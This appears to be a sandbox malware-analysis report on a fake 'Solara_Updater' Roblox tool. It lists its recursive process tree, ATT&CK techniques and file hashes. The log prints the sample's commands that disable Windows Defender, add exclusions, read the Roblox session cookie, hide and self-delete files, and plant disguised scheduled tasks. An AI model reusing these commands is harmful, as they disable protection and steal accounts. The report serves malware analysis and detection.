C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"46⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"47⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"47⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"48⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "49⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"50⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"47⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"48⤵
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"49⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"49⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"48⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"49⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "50⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"51⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"48⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"49⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"49⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"50⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "51⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"52⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"49⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"50⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"50⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"51⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "52⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"53⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"50⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"51⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"51⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"52⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "53⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"54⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"51⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"52⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"52⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"53⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "54⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"55⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"52⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"53⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"53⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"54⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "55⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"56⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"53⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"54⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"54⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"55⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "56⤵
-
C:\hostNet\bridgeblockportComBroker.exe"C:\hostNet/bridgeblockportComBroker.exe"57⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"54⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"55⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"55⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"56⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"55⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"56⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"56⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"57⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"56⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"57⤵
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"58⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"58⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid59⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"59⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'59⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 259⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY59⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY59⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption59⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory59⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV160⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid59⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER59⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name59⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause59⤵
-
C:\Windows\system32\PING.EXEping localhost60⤵
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"57⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"58⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"57⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"58⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"58⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"59⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"58⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"59⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"59⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"60⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"59⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"60⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"60⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"61⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"60⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"61⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"61⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"62⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"61⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"62⤵
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"63⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"63⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"62⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"63⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"62⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"63⤵
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"64⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"64⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"63⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"64⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"63⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"64⤵
-
C:\Users\Admin\AppData\Local\Temp\XClient.exe"C:\Users\Admin\AppData\Local\Temp\XClient.exe"65⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"65⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid66⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"66⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'66⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 266⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"64⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"65⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"64⤵
-
C:\Users\Admin\AppData\Local\Temp\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Loader.exe"65⤵
-
-
C:\Users\Admin\AppData\Local\Temp\sol.exe"C:\Users\Admin\AppData\Local\Temp\sol.exe"65⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"66⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"65⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\wscript.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\wscript.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\wscript.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Solara_UpdaterS" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office\root\Solara_Updater.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Solara_Updater" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\root\Solara_Updater.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Solara_UpdaterS" /sc MINUTE /mo 7 /tr "'C:\Program Files\Microsoft Office\root\Solara_Updater.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 5 /tr "'C:\Program Files\dotnet\swidtag\wscript.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\Program Files\dotnet\swidtag\wscript.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 10 /tr "'C:\Program Files\dotnet\swidtag\wscript.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Microsoft\conhost.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Microsoft\conhost.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "bridgeblockportComBrokerb" /sc MINUTE /mo 5 /tr "'C:\hostNet\bridgeblockportComBroker.exe'" /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "bridgeblockportComBroker" /sc ONLOGON /tr "'C:\hostNet\bridgeblockportComBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "bridgeblockportComBrokerb" /sc MINUTE /mo 6 /tr "'C:\hostNet\bridgeblockportComBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\svhost.exeC:\Users\Admin\AppData\Roaming\svhost.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
-
Filesize
1KB
MD5cb4338b342d00bfe6111ffee5cbfc2ed
SHA1fc16673b6833ad3cb00743a32868b859e90aa536
SHA256343ed6661687e81c9615dcaea42fb1a98b70572bb9fe07e16f020108725dbbe9
SHA5124bcea1366b8be00d08eb15cfd78c87e1c8f3aea140a4ea30efb3c0511cd3de21b7ce8c933c7478fb06a356573ecb928e50df23d340fbd9a6e6c156a004d2a77a
-
Filesize
20KB
MD542c395b8db48b6ce3d34c301d1eba9d5
SHA1b7cfa3de344814bec105391663c0df4a74310996
SHA2565644546ecefc6786c7be5b1a89e935e640963ccd34b130f21baab9370cb9055d
SHA5127b9214db96e9bec8745b4161a41c4c0520cdda9950f0cd3f12c7744227a25d639d07c0dd68b552cf1e032181c2e4f8297747f27bad6c7447b0f415a86bd82845
-
Filesize
433KB
MD5e62f9487d8f9051a0bf833de54b6b308
SHA1726e57152a5389141a9910017bfffbdffac70652
SHA2563d295610c200fe15c14b332b43668699637ffa6b9e54f3c4dce028ee5327fd63
SHA512bbe7f603bd035a7cdd6650d595cd27fa347b45e9bd873d289f4ec0360b90fdbab83c209077c9e4878ab3ca54bd73dcb80ec52d00a1fc6e4fb824578c0e6fc179
-
Filesize
139KB
MD58f77f8b13b914f358059e3f7b9ddab70
SHA1d406a28486b4dd881c454e526e149b98c0ec8462
SHA256c22c863186e9e86a07cdb7f214c4acede216405a09d4032a603e64931f6966e6
SHA512b00ba88d36203e389021672b39839a172b58e492bb71afb33c9f53b9ba406a0cf5d61cb5bfe6f11dc40529be8424690737ce178d7dd4981b120ec4694f51abad
-
Filesize
46KB
MD58f5942354d3809f865f9767eddf51314
SHA120be11c0d42fc0cef53931ea9152b55082d1a11e
SHA256776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea
SHA512fde8dfae8a862cf106b0cb55e02d73e4e4c0527c744c20886681245c8160287f722612a6de9d0046ed1156b1771229c8950b9ac036b39c988d75aa20b7bac218
-
Filesize
1KB
MD5f609cfcca08ff8708489cfa2df20ab2d
SHA1b87bb72f7ad707ab6077d36929b21824590a8835
SHA256e6456191e6ec393eba8fcc837fe0a08db735aeeaf1e9f5b5ec785eb3f470e8b9
SHA512374acee6bd1531178782db2e5d22b139862661426f5c68a86f408d3c76625530a934258686a3cc16893b76b766261d8f0af25561d13b8d90e75eaff797db63d6
-
Filesize
231KB
MD5ff8f5c2670894f74456e534b34d6a8fe
SHA1e0b35ae06f68adf07e4616da8e91bb1f935e492a
SHA256d9f3baf81271c395f4dc10e21d12bc2bfb875a8a28ede54abd54a0d8de194d37
SHA512a58b08c3209bc196f914a82ca2b91a096988831bc45babb22ec2210303050cf03923ebf93e7a58926b8813328c672bec015cd0772f27a0192c661d83e796ffff
-
Filesize
48KB
MD5349e6eb110e34a08924d92f6b334801d
SHA1bdfb289daff51890cc71697b6322aa4b35ec9169
SHA256c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
SHA5122a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574
-
Filesize
60KB
MD528ff989c1d462f567aabb9c5ba76456b
SHA124be926b14f64f6a9f5b8248d1618bae9a7fc0b2
SHA256a02fb0b588d89b4ea7f83fc303af6ab00b5ec81a39cf79b2e6ec65d3a3e4c63d
SHA5122e639e5b5480c93c7605480de40e325c0692d3834f305d7d739f3569707e01cbd5d4c75c5fe4b02616edbb5c72b5f9df6466864a2b11fc862b35b5566d51bcba
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
220B
MD59e2bfe581c5e4e1e37c00713319ffd68
SHA1743c357a9af1c07a5e6a51dfcd246faf332e5692
SHA256835f0f18739baddd07db7cafb0defc33f1bfbfa7863f03ed44c5001472cc28d2
SHA51280870b7c2e4123e703804b6565bf64791457fc66be683f84a6315fedfe7a336d4cd138d354fd69b7087db2fa5b64f72842df7753e18f32e7f2ceb466fa6fc417
-
Filesize
20KB
MD549693267e0adbcd119f9f5e02adf3a80
SHA13ba3d7f89b8ad195ca82c92737e960e1f2b349df
SHA256d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
SHA512b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2
-
Filesize
2.1MB
MD525daefc71be60b76cb49fc81424d768d
SHA148be475dd36b433d62d4f7fed9b4d81a90122dee
SHA2561b27df9e577ab790cafdae0b1ef25ccecdf5f7e2a1ede0d83a3ca32e2987d80a
SHA512e343905d83bdf353fe759ba5dc4de5bc2e7b1e465066bb4d09388209151e72dfd8df7da780882c533cdc3ee24933de123a8630d6a177bba0ad4d65efc39fadfe
-
Filesize
2KB
MD54028457913f9d08b06137643fe3e01bc
SHA1a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14
SHA256289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58
SHA512c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b
-
Filesize
1.8MB
MD58ccc428a5a6f6139dc191d332f3de08b
SHA1ae550a8fb67deeb1350020aa3fe8b0339db6bc71
SHA256801c5ad5a7853f375e15e1da7361e09b898d3c8770e291b8016eb207bba8c749
SHA5121479aac1b970722f47cbf77a01b213c84885af15b06e293bf9137863cbce44238832c5f4298dc56ca41847718f581d2bb434220824ffc5d54c08f1e55156e82e
-
Filesize
230B
MD592408a105526970fa12ef23225de61ae
SHA1bf70e8e671c10bf85771b2b8dd4549766cf79582
SHA256b4f3f50e48c35a2d03d9e96175722f1c4669e8529c2347f4f17377b2ad726b10
SHA51256df36df05187743357f3cda16f2b7791c4c760475b90f173ad3d0752475aee45e6549e062ee328f3b1f2ebd56aaa1bb9ceedb1f3200e2383455ac27e1cee043
-
Filesize
83B
MD502d21af8c5d6e8e0240a01325bcc4154
